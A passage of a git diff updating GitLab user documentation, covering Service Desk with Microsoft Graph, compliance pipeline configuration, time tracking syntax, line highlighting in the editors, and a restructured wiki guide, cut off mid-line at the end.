a/doc/user/project/repository/jupyter_notebooks/index.md +++ b/doc/user/project/repository/jupyter_notebooks/index.md @@ -13,7 +13,7 @@ interactive computing in many fields and contain a complete record of the user's sessions and include code, narrative text, equations, and rich output. When added to a repository, Jupyter Notebooks with a `.ipynb` extension are -rendered to HTML when viewed. +rendered to HTML when viewed:  @@ -26,4 +26,4 @@ You can deploy [Jupyter Hub as a GitLab managed app](../../../clusters/applicati ## Jupyter Git integration -Find out how to [leverage JupyterLab’s Git extension on your Kubernetes cluster](../../../clusters/applications.md#jupyter-git-integration). +Find out how to [leverage JupyterLab's Git extension on your Kubernetes cluster](../../../clusters/applications.md#jupyter-git-integration). diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md index 7847930366a..323a2efce76 100644 --- a/doc/user/project/repository/reducing_the_repo_size_using_git.md +++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md @@ -143,10 +143,10 @@ To clean up a repository: 1. Upload a list of objects. For example, a `commit-map` file created by `git filter-repo` which is located in the `filter-repo` directory. - If your `commit-map` file is larger than 10MB, the file can be split and uploaded piece by piece: + If your `commit-map` file is larger than about 250KB or 3000 lines, the file can be split and uploaded piece by piece: ```shell - split -l 100000 filter-repo/commit-map filter-repo/commit-map- + split -l 3000 filter-repo/commit-map filter-repo/commit-map- ``` 1. Click **Start cleanup**. diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md index efa35c1ceac..b6bde46b26a 100644 --- a/doc/user/project/repository/web_editor.md +++ b/doc/user/project/repository/web_editor.md @@ -56,6 +56,24 @@ NOTE: The **Set up CI/CD** button does not appear on an empty repository. For the button to display, add a file to your repository. +## Highlight lines + +Web Editor enables you to highlight a single line by adding specially formatted +hash information to the URL's file path segment. For example, the file path segment +`MY_FILE.js#L3` instructs the Web Editor to highlight line 3. + +The Web Editor also enables you to highlight multiple lines using a similar pattern. In +this case, the file path segment `MY_FILE.js#L3-10` instructs the Web Editor to +highlight lines 3 to 10 of the file. + +You don't need to construct these lines manually. Instead, you can: + +1. Hover over the number of a line you want to be highlighted when sharing. +1. Right-click the number with your mouse. +1. Click **Copy Link Address** in the context menu. + +  + ## Upload a file The ability to create a file is great when the content is text. However, this diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md index bd37acafd22..d7fbff23e5e 100644 --- a/doc/user/project/requirements/index.md +++ b/doc/user/project/requirements/index.md @@ -122,8 +122,7 @@ You can also sort the requirements list by: > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1. > - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/215514) ability to specify individual requirements and their statuses in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2. -GitLab supports [requirements test -reports](../../../ci/pipelines/job_artifacts.md#artifactsreportsrequirements) now. +GitLab supports [requirements test reports](../../../ci/yaml/README.md#artifactsreportsrequirements) now. You can add a job to your CI pipeline that, when triggered, marks all existing requirements as Satisfied (you may manually satisfy a requirement in the edit form [edit a requirement](#edit-a-requirement)). diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md index 383b4df9612..dd646a54b43 100644 --- a/doc/user/project/service_desk.md +++ b/doc/user/project/service_desk.md @@ -160,7 +160,7 @@ To edit the custom email display name: 1. Enter a new name in **Email display name**. 1. Select **Save Changes**. -### Using custom email address +### Using custom email address **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in GitLab Premium 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284656) in GitLab 13.8. @@ -183,7 +183,7 @@ always use separate mailboxes. This is important, because emails picked from `service_desk_email` mailbox are processed by a different worker and it would not recognize `incoming_email` emails. -To configure a custom email address for Service Desk, add the following snippets to your configuration file: +To configure a custom email address for Service Desk with IMAP, add the following snippets to your configuration file: - Example for installations from source: @@ -236,6 +236,38 @@ As a result, a new Service Desk issue is created from this email in the `mygroup The configuration options are the same as for configuring [incoming email](../../administration/incoming_email.md#set-it-up). +#### Microsoft Graph + +> Introduced in [GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/214900) + +Service Desk can be configured to read Microsoft Exchange Online mailboxes with the Microsoft +Graph API instead of IMAP. Follow the [documentation in the incoming e-mail section for setting up an OAuth2 application for Microsoft Graph](../../administration/incoming_email.md#microsoft-graph). + +- Example for Omnibus GitLab installations: + + ```ruby + gitlab_rails['service_desk_email_enabled'] = true + + gitlab_rails['service_desk_email_address'] = "project_contact+%{key}@example.onmicrosoft.com" + + gitlab_rails['service_desk_email_email'] = "project_contact@example.onmicrosoft.com" + + gitlab_rails['service_desk_email_mailbox_name'] = "inbox" + + gitlab_rails['service_desk_email_log_file'] = "/var/log/gitlab/mailroom/mail_room_json.log" + + gitlab_rails['service_desk_inbox_method'] = 'microsoft_graph' + + gitlab_rails['service_desk_inbox_options'] = { + 'tenant_id': '<YOUR-TENANT-ID>', + 'client_id': '<YOUR-CLIENT-ID>', + 'client_secret': '<YOUR-CLIENT-SECRET>', + 'poll_interval': 60 # Optional + } + ``` + +The Microsoft Graph API is not yet supported in source installations. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326169) for more details. + ## Using Service Desk You can use Service Desk to [create an issue](#as-an-end-user-issue-creator) or [respond to one](#as-a-responder-to-the-issue). diff --git a/doc/user/project/settings/img/general_settings.png b/doc/user/project/settings/img/general_settings.png Binary files differdeleted file mode 100644 index f88a158d2be..00000000000 --- a/doc/user/project/settings/img/general_settings.png +++ /dev/null diff --git a/doc/user/project/settings/img/general_settings_v13_11.png b/doc/user/project/settings/img/general_settings_v13_11.png Binary files differnew file mode 100644 index 00000000000..9da5acdf82e --- /dev/null +++ b/doc/user/project/settings/img/general_settings_v13_11.png diff --git a/doc/user/project/settings/img/merge_requests_settings.png b/doc/user/project/settings/img/merge_requests_settings.png Binary files differdeleted file mode 100644 index b1f2dfa7376..00000000000 --- a/doc/user/project/settings/img/merge_requests_settings.png +++ /dev/null diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md index 7b5a0cbb377..6fa1b0aa368 100644 --- a/doc/user/project/settings/import_export.md +++ b/doc/user/project/settings/import_export.md @@ -39,8 +39,8 @@ Note the following: The Importing GitLab version must be greater than or equal to the Exporting GitLab version. - Imports will fail unless the import and export GitLab instances are compatible as described in the [Version history](#version-history). -- Exports are stored in a temporary [shared directory](../../../development/shared_files.md) - and are deleted every 24 hours by a specific worker. +- Exports are generated in your configured `shared_path`, a temporary [shared directory](../../../development/shared_files.md) + and are moved to your configured `uploads_directory`. Every 24 hours, a specific worker deletes these export files. - Group members are exported as project members, as long as the user has maintainer or administrator access to the group where the exported project lives. - Project members with owner access will be imported as maintainers. diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md index 785618a862a..6d37d26f6e8 100644 --- a/doc/user/project/settings/index.md +++ b/doc/user/project/settings/index.md @@ -9,10 +9,15 @@ type: reference, index, howto NOTE: Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions) -to access a project settings. +to access project settings. -You can adjust your [project](../index.md) settings by navigating -to your project's homepage and clicking **Settings**. +The **Settings** page in GitLab provides a centralized home for your +[project](../index.md) configuration options. To access it, go to your project's homepage +and, in the left navigation menu, clicking **Settings**. To reduce complexity, settings are +grouped by topic into sections. To display all settings in a section, click **Expand**. + +In GitLab versions [13.10 and later](https://gitlab.com/groups/gitlab-org/-/epics/4842), +GitLab displays a search box to help you find the settings you want to view. ## General settings @@ -21,9 +26,9 @@ functionality of a project. ### General project settings -Adjust your project's name, description, avatar, [default branch](../repository/branches/index.md#default-branch), and topics: +Adjust your project's name, description, avatar, [default branch](../repository/branches/default.md), and topics: - + The project description also partially supports [standard Markdown](../../markdown.md#standard-markdown-and-extensions-in-gitlab). You can use [emphasis](../../markdown.md#emphasis), [links](../../markdown.md#links), and [line-breaks](../../markdown.md#line-breaks) to add more context to the project description. @@ -43,11 +48,10 @@ Compliance framework labels do not affect your project settings. #### Custom compliance frameworks > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276221) in GitLab 13.9. -> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. -> - It can be enabled or disabled for a single group -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-custom-compliance-frameworks). **(PREMIUM)** +> - [Deployed behind a feature flag](../../feature_flags.md). +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/287779) in GitLab 13.11. +> - Enabled on GitLab.com. +> - Recommended for production use. WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -61,6 +65,71 @@ can now create their own. New compliance framework labels can be created and updated using GraphQL. +#### Compliance pipeline configuration **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3156) in GitLab 13.9. +> - [Deployed behind a feature flag](../../feature_flags.md). +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/300324) in GitLab 13.11. +> - Enabled on GitLab.com. +> - Recommended for production use. + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +Group owners can use the compliance pipeline configuration to define compliance requirements +such as scans or tests, and enforce them in individual projects. + +The [custom compliance framework](#custom-compliance-frameworks) feature allows group owners to specify the location +of a compliance pipeline configuration stored and managed in a dedicated project, distinct from a developer's project. + +When you set up the compliance pipeline configuration field, use the +`file@group/project` format. For example, you can configure +`.compliance-gitlab-ci.yml@compliance-group/compliance-project`. +This field is inherited by projects where the compliance framework label is applied. The result +forces the project to run the compliance configurations. + +When a project with a custom label executes a pipeline, it begins by evaluating the compliance pipeline configuration. +The custom pipeline configuration can then execute any included individual project configuration. + +The user running the pipeline in the project should at least have Reporter access to the compliance project. + +Example `.compliance-gitlab-ci.yml` + +```yaml +stages: # Allows compliance team to control the ordering and interweaving of stages/jobs +- pre-compliance +- build +- test +- pre-deploy-compliance +- deploy +- post-compliance + +variables: # can be overriden by a developer's local .gitlab-ci.yml + FOO: sast + +sast: # none of these attributes can be overriden by a developer's local .gitlab-ci.yml + variables: + FOO: sast + stage: pre-compliance + script: + - echo "running $FOO" + +sanity check: + stage: pre-deploy-compliance + script: + - echo "running $FOO" + + +audit trail: + stage: post-compliance + script: + - echo "running $FOO" + +include: # Execute individual project's configuration + project: '$CI_PROJECT_PATH' + file: '$CI_PROJECT_CONFIG_PATH' +``` + ### Sharing and permissions For your repository, you can set up features such as public access, repository features, @@ -145,8 +214,7 @@ Set up your project's merge request settings: - Enable [merge only when all threads are resolved](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved). - Enable [`delete source branch after merge` option by default](../merge_requests/getting_started.md#deleting-the-source-branch) - Configure [suggested changes commit messages](../../discussions/index.md#configure-the-commit-message-for-applied-suggestions) - - +- Configure [the default target project](../merge_requests/creating_merge_requests.md#set-the-default-target-project) for merge requests coming from forks. ### Service Desk diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md index cda39508835..d37e6144ab3 100644 --- a/doc/user/project/settings/project_access_tokens.md +++ b/doc/user/project/settings/project_access_tokens.md @@ -78,3 +78,9 @@ the following table. | `write_registry` | Allows write-access (push) to [container registry](../../packages/container_registry/index.md). | | `read_repository` | Allows read-only access (pull) to the repository. | | `write_repository` | Allows read-write access (pull, push) to the repository. | + +## Enable or disable project access token creation + +You may enable or disable project access token creation for all projects in a group in **Group > Settings > General > Permissions, LFS, 2FA > Allow project access token creation**. +Even when creation is disabled, you can still use and revoke existing project access tokens. +This setting is available only on top-level groups. diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md index d1e9fe155b4..78e7ded9784 100644 --- a/doc/user/project/time_tracking.md +++ b/doc/user/project/time_tracking.md @@ -30,11 +30,9 @@ below. ## How to enter data -Time Tracking uses two [quick actions](quick_actions.md) -that GitLab introduced with this new feature: `/spend` and `/estimate`. +Time Tracking uses two [quick actions](quick_actions.md): `/spend` and `/estimate`. -Quick actions can be used in the body of an issue or a merge request, but also -in a comment in both an issue or a merge request. +If you use either quick action more than once in a single comment, only the last occurrence is applied. Below is an example of how you can use those new quick actions inside a comment. @@ -46,9 +44,9 @@ with [Reporter and higher permission levels](../permissions.md). ### Estimates To enter an estimate, write `/estimate`, followed by the time. For example, if -you need to enter an estimate of 3 days, 5 hours and 10 minutes, you would write -`/estimate 3d 5h 10m`. Time units that we support are listed at the bottom of -this help page. +you need to enter an estimate of 1 month, 2 weeks, 3 days, 4 hours and 5 minutes, +write `/estimate 1mo 2w 3d 4h 5m`. +Check the [time units you can use](#configuration). Every time you enter a new time estimate, any previous time estimates are overridden by this new value. There should only be one valid estimate in an @@ -58,7 +56,9 @@ To remove an estimation entirely, use `/remove_estimate`. ### Time spent -To enter a time spent, use `/spend 3d 5h 10m`. +To enter time spent, write `/spend`, followed by the time. For example, if you need +to log 1 month, 2 weeks, 3 days, 4 hours and 5 minutes, you would write `/spend 1mo 2w 3d 4h 5m`. +Time units that we support are listed at the bottom of this help page. Every new time spent entry is added to the current total time spent for the issue or the merge request. @@ -68,6 +68,11 @@ days from the total time spent. You can't go below 0 minutes of time spent, so GitLab automatically resets the time spent if you remove a larger amount of time compared to the time that was entered already. +You can log time in the past by providing a date after the time. +For example, if you want to log 1 hour of time spent on the 31 January 2021, +you would write `/spend 1h 2021-01-31`. If you supply a date in the future, the +command fails and no time is logged. + To remove all the time spent at once, use `/remove_time_spent`. ## Configuration diff --git a/doc/user/project/web_ide/img/commit_changes_v12_9.png b/doc/user/project/web_ide/img/commit_changes_v12_9.png Binary files differdeleted file mode 100644 index 9a8bb214b3d..00000000000 --- a/doc/user/project/web_ide/img/commit_changes_v12_9.png +++ /dev/null diff --git a/doc/user/project/web_ide/img/commit_changes_v13_11.png b/doc/user/project/web_ide/img/commit_changes_v13_11.png Binary files differnew file mode 100644 index 00000000000..6cd270a6112 --- /dev/null +++ b/doc/user/project/web_ide/img/commit_changes_v13_11.png diff --git a/doc/user/project/web_ide/img/live_preview_v13_0.png b/doc/user/project/web_ide/img/live_preview_v13_0.png Binary files differindex bd04d3d644b..f701e137a6b 100644 --- a/doc/user/project/web_ide/img/live_preview_v13_0.png +++ b/doc/user/project/web_ide/img/live_preview_v13_0.png diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md index 57b79875909..73aed1244db 100644 --- a/doc/user/project/web_ide/index.md +++ b/doc/user/project/web_ide/index.md @@ -66,9 +66,6 @@ Monaco uses the [Monarch](https://microsoft.github.io/monaco-editor/monarch.html If you are missing Syntax Highlighting support for any language, we prepared a short guide on how to [add support for a missing language Syntax Highlighting.](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/ide/lib/languages/README.md) -NOTE: -Single file editing is based on the [Ace Editor](https://ace.c9.io). - ### Themes > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2389) in GitLab 13.0. @@ -82,6 +79,12 @@ You can pick a theme from your [profile preferences](../../profile/preferences.m |-------------------------------------------------------------|-----------------------------------------| |  |  | +## Highlight lines + +WebIDE is built with the [Web Editor](../repository/web_editor.md). This enables WebIDE to share the +same core features for highlighting and linking to particular lines in the edited files +[described for the Web Editor](../repository/web_editor.md#highlight-lines). + ## Schema based validation > - Support for validation based on predefined schemas [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) in GitLab 13.2. @@ -187,7 +190,7 @@ To discard a change in a particular file, click the **Discard changes** button o file in the changes tab. To discard all the changes, click the trash icon on the top-right corner of the changes sidebar. - + ## Reviewing changes @@ -341,7 +344,7 @@ terminal: # This can be any image that has the necessary runtime environment for your project. image: node:10-alpine before_script: - - apt-get update + - apk update script: sleep 60 variables: RAILS_ENV: "test" diff --git a/doc/user/project/wiki/img/wiki_create_home_page.png b/doc/user/project/wiki/img/wiki_create_home_page.png Binary files differdeleted file mode 100644 index 658af33d76e..00000000000 --- a/doc/user/project/wiki/img/wiki_create_home_page.png +++ /dev/null diff --git a/doc/user/project/wiki/img/wiki_create_new_page.png b/doc/user/project/wiki/img/wiki_create_new_page.png Binary files differdeleted file mode 100644 index 8954ec0d3a8..00000000000 --- a/doc/user/project/wiki/img/wiki_create_new_page.png +++ /dev/null diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md index eb8270b8740..a69141ac04d 100644 --- a/doc/user/project/wiki/index.md +++ b/doc/user/project/wiki/index.md @@ -7,68 +7,76 @@ type: reference, how-to # Wiki **(FREE)** -A separate system for documentation called Wiki, is built right into each -GitLab project. It is enabled by default on all new projects and you can find -it under **Wiki** in your project. +If you don't want to keep your documentation in your repository, but you do want +to keep it in the same project as your code, you can use the wiki GitLab provides +in each GitLab project. Every wiki is a separate Git repository, so you can create +wiki pages in the web interface, or [locally using Git](#create-or-edit-wiki-pages-locally). + +To access the wiki for a project or group, go to the page for your project or group +and, in the left sidebar, select **Wiki**. If **Wiki** is not listed in the +left sidebar, a project administrator has [disabled it](#enable-or-disable-a-project-wiki). + +GitLab wikis support Markdown, RDoc, AsciiDoc, and Org for content. +Wiki pages written in Markdown support all [Markdown features](../../markdown.md), +and also provide some [wiki-specific behavior](../../markdown.md#wiki-specific-markdown) +for links. + +In [GitLab 13.5 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/17673/), +wiki pages display a sidebar, which you [can customize](#customize-sidebar). This +sidebar contains a partial list of pages in the wiki, displayed as a nested tree, +with sibling pages listed in alphabetical order. To view a list of all pages, select +**View All Pages** in the sidebar: -Wikis are very convenient if you don't want to keep your documentation in your -repository, but you do want to keep it in the same project where your code -resides. - -You can create Wiki pages in the web interface or -[locally using Git](#adding-and-editing-wiki-pages-locally) since every Wiki is -a separate Git repository. - -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13195) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5, -**group wikis** became available. Their usage is similar to project wikis, with a few [limitations](../../group/index.md#group-wikis). - -## First time creating the Home page - -The first time you visit a Wiki, you are directed to create the Home page. -The Home page is necessary to be created because it serves as the landing page -when viewing a Wiki. Complete the **Content** section, and then select -**Create page**. You can always edit it later, so go ahead and write a welcome -message. - - - -## Creating a new wiki page - -NOTE: -Requires Developer [permissions](../../permissions.md). - -Create a new page by selecting the **New page** button that can be found -in all wiki pages. - -Enter a title for your new wiki page. - -You can specify a full path for the wiki page by using '/' in the -title to indicate subdirectories. Any missing directories are created -automatically. For example, a title of `docs/my-page` creates a wiki -page with a path `/wikis/docs/my-page`. - -After you enter the page name, it's time to fill in its content. GitLab wikis -support Markdown, RDoc, AsciiDoc, and Org. For Markdown based pages, all the -[Markdown features](../../markdown.md) are supported and for links there is -some [wiki specific](../../markdown.md#wiki-specific-markdown) behavior. - -In the web interface the commit message is optional, but the GitLab Wiki is -based on Git and needs a commit message, so one is created for you if you -don't enter one. - -When you're ready, select **Create page** and the new page is created. - - - -### Attachment storage + -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475) in GitLab 11.3. +## Create the wiki home page + +When a wiki is created, it is empty. On your first visit, create the landing page +users see when viewing the wiki: + +1. Go to the page for your project or group. +1. In the left sidebar, select **Wiki**, then **Create your first page**. +1. Select a **Format** for styling your text. +1. Add a welcome message in the **Content** section. You can always edit it later. +1. Add a **Commit message**. Git requires a commit message, so GitLab creates one + if you don't enter one yourself. +1. Select **Create page**. + +## Create a new wiki page + +Users with Developer [permissions](../../permissions.md) can create new wiki pages: + +1. Go to the page for your project or group. +1. In the left sidebar, select **Wiki**. +1. Select **New page** on this page, or any other wiki page. +1. Select a content format. +1. Add a title for your new page. Page titles use + [special characters](#special-characters-in-page-titles) for subdirectories and formatting, + and have [length restrictions](#length-restrictions-for-file-and-directory-names). +1. Add content to your wiki page. +1. (Optional) Attach a file, and GitLab stores it according to your installed version of GitLab: + - *Files added in [GitLab 11.3 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475):* + Files are stored in the wiki's Git repository. + - *Files added GitLab 11.2 and earlier:* Files are stored in GitLab itself. To add + the file to the wiki's Git repository, you must re-upload the file. +1. Add a **Commit message**. Git requires a commit message, so GitLab creates one + if you don't enter one yourself. +1. Select **Create page**. + +### Create or edit wiki pages locally + +Wikis are based on Git repositories, so you can clone them locally and edit +them like you would do with every other Git repository. To clone a wiki repository +locally, select **Clone repository** from the right-hand sidebar of any wiki page, +and follow the on-screen instructions. + +Files you add to your wiki locally must use one of the following +supported extensions, depending on the markup language you wish to use. +Files with unsupported extensions don't display when pushed to GitLab: -Any file uploaded to the wiki with the GitLab -interface is stored in the wiki Git repository, and is available -if you clone the wiki repository locally. All uploaded files prior to GitLab -11.3 are stored in GitLab itself. If you want them to be part of the wiki's Git -repository, you must upload them again. +- Markdown extensions: `.mdown`, `.mkd`, `.mkdn`, `.md`, `.markdown`. +- AsciiDoc extensions: `.adoc`, `.ad`, `.asciidoc`. +- Other markup extensions: `.textile`, `.rdoc`, `.org`, `.creole`, `.wiki`, `.mediawiki`, `.rst`. ### Special characters in page titles @@ -76,141 +84,118 @@ Wiki pages are stored as files in a Git repository, so certain characters have a - Spaces are converted into hyphens when storing a page. - Hyphens (`-`) are converted back into spaces when displaying a page. -- Slashes (`/`) can't be used, because they're used as path separator. +- Slashes (`/`) are used as path separators, and can't be displayed in titles. If you + create a title containing `/` characters, GitLab creates all the subdirectories + needed to build that path. For example, a title of `docs/my-page` creates a wiki + page with a path `/wikis/docs/my-page`. ### Length restrictions for file and directory names > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24364) in GitLab 12.8. -Many common file systems have a [limit of 255 bytes for file and directory names](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits), and while Git and GitLab both support paths exceeding those limits, the presence of them makes it impossible for users on those file systems to checkout a wiki repository locally. - -To avoid this situation, these limits are enforced when editing pages through the GitLab web interface and API: +Many common file systems have a [limit of 255 bytes](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits) +for file and directory names. Git and GitLab both support paths exceeding +those limits. However, if your file system enforces these limits, you cannot check out a +local copy of a wiki that contains filenames exceeding this limit. To prevent this +problem, the GitLab web interface and API enforce these limits: - 245 bytes for page titles (reserving 10 bytes for the file extension). - 255 bytes for directory names. -Please note that: +Non-ASCII characters take up more than one byte. -- Non-ASCII characters take up more than one byte. -- It's still possible to create files and directories exceeding those limits locally through Git, but this might break on other people's machines. +While you can still create files locally that exceed these limits, your teammates +may not be able to check out the wiki locally afterward. -## Editing a wiki page +## Edit a wiki page -You need Developer [permissions](../../permissions.md) or higher to edit a wiki page. -To do so: +You need Developer [permissions](../../permissions.md) or higher to edit a wiki page: +1. Go to the page for your project or group. +1. In the left sidebar, select **Wiki**, and go to the page you want to edit. 1. Select the edit icon (**{pencil}**). 1. Edit the content. 1. Select **Save changes**. -### Adding a table of contents +### Create a table of contents -To generate a table of contents from the headings in a Wiki page, use the `[[_TOC_]]` tag. -For an example, see [Table of contents](../../markdown.md#table-of-contents). +To generate a table of contents from a wiki page's subheadings, use the `[[_TOC_]]` tag. +For an example, read [Table of contents](../../markdown.md#table-of-contents). -## Deleting a wiki page +## Delete a wiki page -You need Maintainer [permissions](../../permissions.md) or higher to delete a wiki page. -To do so: +You need Maintainer [permissions](../../permissions.md) or higher to delete a wiki page: -1. Open the page you want to delete. +1. Go to the page for your project or group. +1. In the left sidebar, select **Wiki**, and go to the page you want to delete. 1. Select **Delete page**. 1. Confirm the deletion. -## Moving a wiki page +## Move a wiki page -You need Developer [permissions](../../permissions.md) or higher to move a wiki page. -To do so: +You need Developer [permissions](../../permissions.md) or higher to move a wiki page: +1. Go to the page for your project or group. +1. In the left sidebar, select **Wiki**, and go to the page you want to move. 1. Select the edit icon (**{pencil}**). -1. Add the new path to the **Title** field. +1. Add the new path to the **Title** field. For example, if you have a wiki page + called `about` under `company` and you want to move it to the wiki's root, + change the **Title** from `about` to `/about`. 1. Select **Save changes**. -For example, if you have a wiki page called `about` under `company` and you want to -move it to the wiki's root: - -1. Select the edit icon (**{pencil}**). -1. Change the **Title** from `about` to `/about`. -1. Select **Save changes**. - -If you want to do the opposite: - -1. Select the edit icon (**{pencil}**). -1. Change the **Title** from `about` to `company/about`. -1. Select **Save changes**. +## View history of a wiki page -## Viewing a list of all created wiki pages +The changes of a wiki page over time are recorded in the wiki's Git repository. +To view the changes for a wiki page, select **Page history**. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17673/) in GitLab 13.5, wiki pages are displayed as a nested tree in the sidebar and pages overview. - -Every wiki has a sidebar from which a short list of the created pages can be -found. The list is ordered alphabetically. - - - -If you have many pages, not all are listed in the sidebar. Select -**View All Pages** to see all of them. - -## Viewing the history of a wiki page - -The changes of a wiki page over time are recorded in the wiki's Git repository, -and you can view them by selecting **Page history**. - -From the history page you can see the revision of the page (Git commit SHA), its -author, the commit message, and when it was last updated. -To see how a previous version of the page looked like, select a revision -number in the **Page version** column. +From the history page you can see:  -### Viewing the changes between page versions +- The revision (Git commit SHA) of the page. +- The page author. +- The commit message. +- The last update. +- Previous revisions, by selecting a revision number in the **Page version** column. + +### View changes between page versions > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15242) in GitLab 13.2. -Similar to versioned diff file views, you can see the changes made in a given Wiki page version: +You can see the changes made in a version of a wiki page, similar to versioned diff file views: -1. Navigate to the Wiki page you're interested in. +1. Go to the page for your project or group. +1. In the left sidebar, select **Wiki**, and go to the wiki page you're interested in. 1. Select **Page history** to see all page versions. 1. Select the commit message in the **Changes** column for the version you're interested in.  -## Wiki activity records +## Track wiki events > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14902) in **GitLab 12.10.** > - Git events were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216014) in **GitLab 13.0.** > - [Feature flag for Git events was removed](https://gitlab.com/gitlab-org/gitlab/-/issues/258665) in **GitLab 13.5** -Wiki events (creation, deletion, and updates) are tracked by GitLab and -displayed on the [user profile](../../profile/index.md#access-your-user-profile), +GitLab tracks wiki creation, deletion, and update events. These events are displayed on the +[user profile](../../profile/index.md#access-your-user-profile), [group](../../group/index.md#view-group-activity), and [project](../working_with_projects.md#project-activity) activity pages. -## Adding and editing wiki pages locally - -Since wikis are based on Git repositories, you can clone them locally and edit -them like you would do with every other Git repository. - -In the right sidebar, select **Clone repository** and follow the on-screen -instructions. - -Files that you add to your wiki locally must have one of the following -supported extensions, depending on the markup language you wish to use, -otherwise they don't display when pushed to GitLab: - -- Markdown extensions: `.mdown`, `.mkd`, `.mkdn`, `.md`, `.markdown`. -- AsciiDoc extensions: `.adoc`, `.ad`, `.asciidoc`. -- Other markup extensions: `.textile`, `.rdoc`, `.org`, `.creole`, `.wiki`, `.mediawiki`, `.rst`. - -## Customizing sidebar +## Customize sidebar > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23109) in GitLab 13.8, the sidebar can be customized by selecting the **Edit sidebar** button. -To customize the Wiki's navigation sidebar, you need Developer permissions to the project. +You need Developer [permissions](../../permissions.md) or higher to customize the wiki +navigation sidebar. This process creates a wiki page named `_sidebar` which fully +replaces the default sidebar navigation: -In the top-right, select **Edit sidebar** and make your changes. This creates a wiki page named `_sidebar` which fully replaces the default sidebar navigation. +1. Go to the page for your project or group. +1. In the left sidebar, select **Wiki**. +1. In the top right corner of the page, select **Edit sidebar**. +1. When complete, select **Save changes**. -Example for `_sidebar` (using Markdown format): +A `_sidebar` example, formatted with Markdown: ```markdown ### [Home](home) @@ -225,3 +210,79 @@ Example for `_sidebar` (using Markdown format): ``` Support for displaying a generated table of contents with a custom side navigation is planned. + +## Enable or disable a project wiki + +Wikis are enabled by default in GitLab. Project [administrators](../../permissions.md) +can enable or disable the project wiki by following the instructions in +[Sharing and permissions](../settings/index.md#sharing-and-permissions). + +Administrators for self-managed GitLab installs can +[configure additional wiki settings](../../../administration/wikis/index.md). + +## Group wikis **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13195) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5. + +Group wikis work the same way as project wikis. Their usage is similar to project +wikis, with a few limitations: + +- Git LFS is not supported. +- Group wikis are not included in global search. +- Changes to group wikis don't show up in the group's activity feed. + +For updates, follow [the epic that tracks feature parity with project wikis](https://gitlab.com/groups/gitlab-org/-/epics/2782). + +Group wikis can be edited by members with [Developer permissions](../../permissions.md#group-members-permissions) +and above. Group wiki repositories can be moved using the +[Group repository storage moves API](../../../api/group_repository_storage_moves.md). + +## Link an external wiki + +To add a link to an external wiki from a project's left sidebar: + +1. In your project, go to **Settings > Integrations**. +1. Select **External wiki**. +1. Add the URL to your external wiki. +1. (Optional) Select **Test settings** to verify the connection. +1. Select **Save changes**. + +You can now see the **External wiki** option from your project's +left sidebar. + +When you enable this integration, the link to the external +wiki won't replace the link to the internal wiki. +To hide the internal wiki from the sidebar, [disable the project's wiki](#disable-the-projects-wiki). + +To hide the link to an external wiki: + +1. In your project, go to **Settings > Integrations**. +1. Select **External wiki**. +1. Unselect **Enable integration**. +1. Select **Save changes**. + +## Disable the project's wiki + +To disable a project's internal wiki: + +1. In your project, go to **Settings > General**. +1. Expand **Visibility, project features, permissions**. +1. Scroll down to find **Wiki** and toggle it off (in gray). +1. Select **Save changes**. + +The internal wiki is now disabled, and users and project members: + +- Cannot find the link to the wiki from the project's sidebar. +- Cannot add, delete, or edit wiki pages. +- Cannot view any wiki page. + +Previously added wiki pages are preserved in case you +want to re-enable the wiki. To re-enable it, repeat the process +to disable the wiki but toggle it on (in blue). + +## Resources + +- [Wiki settings for 